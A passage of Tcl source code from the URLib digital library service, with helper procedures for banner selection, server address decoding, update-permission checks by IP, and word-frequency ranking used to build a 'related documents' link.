xxx.xxx.x.xx:80 ou xxx.xxx.x.xx 800 but URLib server address is www.urlib.net 800 # set urlibServerAddress $urlibServerAddressWithIP ;# ip and port of urlib.net # if {$serverAddressWithIP != "$urlibServerAddress"} # if {$serverAddress != "$urlibServerAddress"} { # the current server is not the URLib server ## Main Site # set xxx [CallTrace] # Store xxx C:/tmp/aaa auto 0 a # Store addr C:/tmp/aaa auto 0 a if [regexp {^150.163} $addr] { # INPE domain set iconetBannerRep dpi.inpe.br/banon/2000/03.03.10.27 if [file isdirectory $col/$iconetBannerRep] { # the Portuguese/Brazil ICONet banner exists set bannerPath ../$col/col/$iconetBannerRep/doc/@pt-BRSmallBanner.html } else { # the Portuguese/Brazil ICONet banner doesn't exist # display the URLib acting! banner set bannerPath [lindex $bannerPathArray($language) 1] } # Store bannerPath C:/tmp/aaa auto 0 a return $bannerPath } } # set auxDoc $col/$URLibServiceRepository/auxdoc set iMax [llength $bannerPathArray($language)] if {$size == ""} { # any banner size (big or small) needed # Load $auxDoc/${language}BannerIndex i Load $bannerRoot/${language}BannerIndex i if {$i == ""} {set i 0} incr i if {$i >= "$iMax"} {set i 0} set bannerPath [lindex $bannerPathArray($language) [expr $iMax - $i - 1]] # Store i $auxDoc/${language}BannerIndex Store i $bannerRoot/${language}BannerIndex auto 0 w 1 return $bannerPath } # a small banner is needed # Load $auxDoc/${language}SmallBannerIndex i Load $bannerRoot/${language}SmallBannerIndex i if {$i == ""} { # Load $auxDoc/${language}BannerIndex i Load $bannerRoot/${language}BannerIndex i if {$i == ""} {set i 0} } incr i if {$i >= "$iMax"} {set i 0} set j [expr $i + $iMax - 1] set pathList [concat $bannerPathArray($language) \ $bannerPathArray($language)] set pathList [lrange $pathList $i $j] foreach path $pathList { if [regexp {SmallBanner.html$} $path] { # a small banner has been found # Store i $auxDoc/${language}SmallBannerIndex Store i $bannerRoot/${language}SmallBannerIndex auto 0 w 1 return $path } incr i if {$i >= "$iMax"} {set i 0} } # no small banner has been found - return nothing } # FindBannerPath - end # ---------------------------------------------------------------------- # GetOfficialIconRep proc GetOfficialIconRep {} { global officialIconRepList # get the first encountered # return dpi.inpe.br/banon/2000/01.31.19.17 ;# URLib icon return [lindex $officialIconRepList 0] } # GetOfficialIconRep - end # ---------------------------------------------------------------------- # GetSampledDocumentDBServerAddress # Used in: # Get (get.tcl) # PerformCheck # # returns ip:port proc GetSampledDocumentDBServerAddress {} { # runs with post # global postEnvironmentArray # return [Compress $postEnvironmentArray(sampledDocumentDBServerAddress)] return {urlib.net 800} } # GetSampledDocumentDBServerAddress - end # ---------------------------------------------------------------------- # GetURLibAdEMailAddress # Used in: # CreateBannerSpace (utilities1.tcl) - left banner proc GetURLibAdEMailAddress {} { # runs with post global postEnvironmentArray return [Compress $postEnvironmentArray(urlibadEMailAddress)] } # GetURLibAdEMailAddress - end # ---------------------------------------------------------------------- # GetURLibServiceLastVersion proc GetURLibServiceLastVersion {} { # runs with post global repositoryProperties global URLibServiceRepository # return [lindex $repositoryProperties($URLibServiceRepository,history) end] return [GetVersionStamp $URLibServiceRepository] } # GetURLibServiceLastVersion - end # ---------------------------------------------------------------------- # PutURLibServerAddress # not used anymore - was used by change.tcl only proc PutURLibServerAddress2 {xxx1 xxx2 xxx3 xxx4 xxx5 xxx6} { # runs with post global postEnvironmentArray # set site [Compress $xxx] set postEnvironmentArray(urlibServerAddress) $xxx1 set postEnvironmentArray(sampledDocumentDBServerAddress) $xxx2 set postEnvironmentArray(urlibadEMailAddress) $xxx3 set postEnvironmentArray(regionalURLibServerAddress) $xxx4 set postEnvironmentArray(sampledDocumentRegionalDBServerAddress) $xxx5 set postEnvironmentArray(regionalURLibAdEMailAddress) $xxx6 # SAVE StoreArray postEnvironmentArray ../auxdoc/.postEnvironmentArray.tcl # SAVE - end return done } # PutURLibServerAddress - end # ---------------------------------------------------------------------- # CompareOccurrence- # see also CompareOccurrence in utilities1.tcl proc CompareOccurrence- {a b} { set a1 [lindex $a 1] set b1 [lindex $b 1] return [expr $a1<$b1?-1:1] } # CompareOccurrence- - end # ---------------------------------------------------------------------- # Compress proc Compress {inputList} { set m 0 set sh [lindex $inputList 0] set inputList [lrange $inputList 1 end] foreach item $inputList { foreach i [lindex $item end] { set m [Max $m $i] } } set sM [lindex [lindex $inputList end] 0] for {set t 0} {$t <= $m} {incr t} { set break 0 for {set s $sM} {$s > -1} {incr s -1} { if {[lindex [lindex $inputList $s] 1] >= $t} { set value $s continue } else { lappend list [list [lindex [lindex $inputList $value] end] $value] set break 1 break } } if !$break {lappend list [list [lindex [lindex $inputList $value] end] $value]} } set jP {} foreach item $list { set i [lindex $item 0] set j [lindex $item end] if {$j == "$jP"} { incr ii } else { set ii 0 } lappend list2 [list $j [lindex $i $ii]] set jP $j } set list2 [lsort -command CompareOccurrence- [lrange $list2 1 end]] foreach item $list2 { lappend address [binary format c [expr [lindex $item 0] + $sh]] } return [join $address {}] } # source utilities1.tcl # puts [Compress {33 {0 0 0} {1 0 0} {2 0 0} {3 0 0} {4 0 0} {5 0 0} {6 0 0} {7 0 0} {8 0 0} {9 0 0} {10 0 0} {11 0 0} {12 0 0} {13 3 {4 8 12}} {14 3 {4 8 12}} {15 8 {2 3 7 10 19}} {16 11 {6 9 17}} {17 14 {1 5 13}} {18 16 {11 15}} {19 17 14} {20 18 20} {21 18 20} {22 18 20} {23 18 20} {24 19 18} {25 20 16} {26 20 16} {27 20 16} {28 20 16} {29 20 16} {30 20 16} {31 20 16} {32 20 16} {33 20 16} {34 20 16} {35 20 16} {36 20 16} {37 20 16} {38 20 16} {39 20 16} {40 20 16} {41 20 16} {42 20 16} {43 20 16} {44 20 16} {45 20 16} {46 20 16} {47 20 16} {48 20 16} {49 20 16} {50 20 16} {51 20 16} {52 20 16} {53 20 16} {54 20 16} {55 20 16} {56 20 16} {57 20 16} {58 20 16} {59 20 16} {60 20 16} {61 20 16} {62 20 16} {63 20 16} {64 20 16} {65 20 16} {66 20 16} {67 20 16} {68 20 16} {69 20 16} {70 20 16} {71 20 16} {72 20 16} {73 20 16} {74 20 16} {75 20 16} {76 20 16} {77 20 16} {78 20 16} {79 20 16} {80 20 16} {81 20 16} {82 20 16} {83 20 16} {84 20 16} {85 20 16} {86 20 16} {87 20 16} {88 20 16} {89 20 16} {90 20 16} {91 20 16} {92 20 16} {93 20 16}}] # => 200.210.103.243:1905 # Compress - end # ---------------------------------------------------------------------- # GetVersionRegistrationTime proc GetVersionRegistrationTime {rep lastUpdate} { global homePath global sampledDocumentDBRepository # docPath set docPath $homePath/col/$sampledDocumentDBRepository/doc set URParts [file split $rep] set year [lindex $URParts 2] set rest [lreplace $URParts 2 2] regsub -all { } $rest {=} rest regsub -all {[:/]} $lastUpdate {=} versionStamp # directoryPath set directoryPath $docPath/$year/$rest/$versionStamp Load $directoryPath/time time return $time } # GetVersionRegistrationTime - end # ---------------------------------------------------------------------- # GetHostCollectionSite # used by Get only proc GetHostCollectionSite {rep} { # runs with post global homePath global repositoryNameDBRepository global loBiMiRep global loCoInRep # docPath set docPath $homePath/col/$repositoryNameDBRepository/doc set URParts [file split $rep] set year [lindex $URParts 2] set rest [lreplace $URParts 2 2] regsub -all { } $rest {=} rest # directoryPath set directoryPath $docPath/$year/$rest if [file isdirectory $directoryPath] { # repository name registered Load $directoryPath/hostCollection data binary set data [UnShift $data] if {[lindex $data 0] != "$rep"} {return} ;# corrupted hostCollection set hostCollection [lindex $data end] Load $homePath/col/$loBiMiRep/doc/@siteList.txt fileContent set found 0 foreach line [split $fileContent \n] { if {[string compare $hostCollection [lindex $line 1]] == 0} { set hostCollectionSite [lindex $line 0] set found 1 break } } if {[string compare $hostCollection $loCoInRep] == 0} { set hostCollectionSite [GetServerAddress] set found 1 } if $found { return [list $hostCollectionSite] } } } # GetHostCollectionSite - end # ---------------------------------------------------------------------- # TestForUpdate # returns 1 when the remoteIp is # in the permissionList and # there is a valid advanced user and # $rep contains the original document proc TestForUpdate {mirrorRep remoteIp rep-i rep} { global environmentArray ## global serverAddress global homePath global metadataArray # set serverAddress [GetServerAddress 1] # if [info exists environmentArray($mirrorRep,permissionList)] { # set permissionList $environmentArray($mirrorRep,permissionList) # } else { # set permissionList {} # } ConditionalSet permissionList environmentArray($mirrorRep,permissionList) {} ## regsub {:.*} $serverAddress {} localIp # foreach {localIp urlibPort} [ReturnCommunicationAddress $serverAddress] {break} set localIp $environmentArray(ipAddress) lappend permissionList $localIp set found 0 foreach permission $permissionList { if [regexp $permission $remoteIp] {set found 1; break} } if {!$found && \ ([lsearch -exact $permissionList {All Sites}] != -1 || \ [lsearch -exact $permissionList {All IPs}] != -1)} {set found 1} # if {[file exists $homePath/col/$rep/service/userName] && ![Check-htpasswd] && $found} # if {[info exists metadataArray(${rep-i},username)] && ![Check-htpasswd] && $found} { if [GetDocumentState $rep] { # $rep contains the original document return 1 } } return 0 } # TestForUpdate - end # ---------------------------------------------------------------------- # CreateBibINPEOutput proc CreateBibINPEOutput {rep-i localSite mirrorRep} { global BibINPERepository return [${BibINPERepository}::CreateOutput ${rep-i} $localSite $mirrorRep] } # CreateBibINPEOutput - end # ---------------------------------------------------------------------- # CompareWords # used in CreateBriefEntry only # example: # lsort -command CompareWords {{automática 1} {cardíaca 2} {computadorizadas 2} {eixo 1} {imagens 1}} # => {computadorizadas 2} {cardíaca 2} {automática 1} {imagens 1} {eixo 1} proc CompareWords {a b} { set aFrequency [lindex $a 1] set bFrequency [lindex $b 1] if {$aFrequency < $bFrequency} { return 1 } else { if {$aFrequency == $bFrequency} { set aWordLength [string length [lindex $a 0]] set bWordLength [string length [lindex $b 0]] if {$aWordLength < $bWordLength} { return 1 } else { if {$aWordLength == $bWordLength} { return 0 } return -1 } } return -1 } } # CompareWords - end # ---------------------------------------------------------------------- # ComputeSimilarity # used in GetMetadataRepositories only proc ComputeSimilarity {xList yList} { set domain [lsort -unique [concat $xList $yList]] # puts $domain if {[llength $domain] == 1} {return 1.0} set xList2 0 ;# must not be empty otherwise xList2 may be constant (e.g., xList == {a b c} and yList == {a b}) set yList2 0 ;# must not be empty otherwise yList2 may be constant (e.g., xList == {a b} and yList == {a b c}) foreach item $domain { lappend xList2 [llength [lsearch -all $xList $item]] lappend yList2 [llength [lsearch -all $yList $item]] } # puts $xList2 # puts $yList2 return [format %.2f [expr ([Correlation $xList2 $yList2] + 1) / 2.]] } if 0 { source utilities1.tcl set x {a b c} set y {a b} ComputeSimilarity $x $y # => 0.79 } # ComputeSimilarity - end # ---------------------------------------------------------------------- # SimplifyWordList # flag1 value is 0 or 1; 1 means to drop punctuation mark # flag2 value is 0 or 1; 1 means to drop common words and set no match proc SimplifyWordList {wordList flag1 flag2} { global commonWords if $flag1 { # regsub -all {[,.:;?!'"/()]} $wordList {} wordList # regsub -all {[,.:;?!'"(){}]} $wordList {} wordList ;# commented by GJFB in 2010-09-09 (title may contain words within [] resulting in an empty similar list) # regsub -all {[,.:;?!'"(){}\[\]]} $wordList {} wordList ;# added by GJFB in 2010-09-09 - commented by GJFB in 2010-09-15 (ponctuation mark may not be followed by a space) regsub -all {[,.:;?!'"(){}\[\]]} $wordList { } wordList ;# ' added by GJFB in 2010-09-15 # regsub -all { [-/] } $wordList { } wordList # regsub -all {[-–—/]} $wordList { } wordList ;# here, there are three kinds of hyphen (see also CreateRepArray) - added by GJFB in 2010-09-09 (Sub-THz -> Sub THz) - commented by GJFB in 2010-12-20 because / is not a separator when indexing words regsub -all {[-–—]} $wordList { } wordList ;# here, there are three kinds of hyphen (see also CreateRepArray) - added by GJFB in 2010-12-20 (Sub-THz -> Sub THz) } if $flag2 { regsub -all -nocase $commonWords " $wordList " { } wordList ;# drop common words regsub -all -nocase {estudos?|study|studies} " $wordList " { } wordList ;# drop some other words set wordList [SetNoMatch $wordList no no 1] set wordList [string trim $wordList] } return $wordList } # SimplifyWordList - end # ---------------------------------------------------------------------- # ComputeRelatedLink # used in CreateBriefEntry and CreateBriefTitleAuthorEntry only # similarButtonName value is related or Related proc ComputeRelatedLink {rep-i languageRepository hideSimilarButton similarButtonName} { global metadataArray global ${languageRepository}::translationTable ;# switch to the appropriate language - set in xxSearchResult.tcl, xxReferenceTypeName.tcl and xxFillingInstructions.tcl (where xx is en, pt-BR, ...) # lsearch -all was introduced after 8.3 if {[info tclversion] > 8.3 && \ [info exists metadataArray(${rep-i},language)] && \ [string equal {no} $hideSimilarButton]} { set language $metadataArray(${rep-i},language) if [regexp {^en$|^pt$} $language] { # SET selectedFieldNameList # options are only: set selectedFieldNameList {title} # set selectedFieldNameList {keywords} # set selectedFieldNameList {title keywords} # SET numberOfWords in each combination # set numberOfWords 2 ;# must be greater than 1 set numberOfWords 4 ;# must be greater than 1 # SET numberOfCombinations set numberOfCombinations 2 ;# numberOfCombinations <= numberOfWords (see Search.tcl) foreach fieldName {title keywords} { ConditionalSet $fieldName metadataArray(${rep-i},$fieldName) {} # set $fieldName [SimplifyWordList [set $fieldName] 1 0] ;# commented by GJFB in 2010-09-09 set $fieldName [SimplifyWordList [set $fieldName] 1 1] ;# added by GJFB in 2010-09-09 set ${fieldName}SimplifiedList [SimplifyWordList [set $fieldName] 0 1] ;# set titleSimplifiedList and keywordsSimplifiedList } foreach fieldName $selectedFieldNameList { lappend wordListList [set $fieldName] ;# used when computing similarity lappend wordSimplifiedListList [set ${fieldName}SimplifiedList] ;# used when searching for similar } set wordList [join $wordListList] set referenceWordSimplifiedList [lsort -unique [join $wordSimplifiedListList]] if {[llength $referenceWordSimplifiedList] >= $numberOfWords} { ConditionalSet abstract metadataArray(${rep-i},abstract) {} set abstractSimplifiedList [SimplifyWordList $abstract 1 1] # CONCAT title keywords abstract set wordSimplifiedList [concat $titleSimplifiedList $keywordsSimplifiedList $abstractSimplifiedList] # puts "wordSimplifiedList = $wordSimplifiedList" set referenceWordListWithFrequencies {} foreach word $referenceWordSimplifiedList { lappend referenceWordListWithFrequencies [list $word [llength [lsearch -all $wordSimplifiedList $word]]] } # puts "referenceWordListWithFrequencies = $referenceWordListWithFrequencies" set importantWordList {} # LRANGE foreach item [lrange [lsort -command CompareWords $referenceWordListWithFrequencies] 0 [expr $numberOfWords - 1]] { lappend importantWordList [lindex $item 0] } # regsub -all -- {\+} $wordList {%2B} wordList regsub -all {\+} $wordList {%2B} wordList ;# simplified by GJFB in 2011-02-15 regsub -all {<|>} $wordList {} wordList ;# added by GJFB in 2011-02-15 to solved the problem of the existence of a title word like <100> regsub -all {\$} $wordList {%24} wordList ;# added by GJFB in 2019-10-10 - convert $ to %24; - needed when the title have some $ like in: R$2,7 # regsub -all -- {\+} $importantWordList {%2B} importantWordList regsub -all {\+} $importantWordList {%2B} importantWordList ;# simplified by GJFB in 2011-02-15 regsub -all {<|>} $importantWordList {} importantWordList ;# added by GJFB in 2011-02-15 # append output2 " | $translationTable(related)" return "$translationTable($similarButtonName)" } } } } # ComputeRelatedLink - end # ---------------------------------------------------------------------- |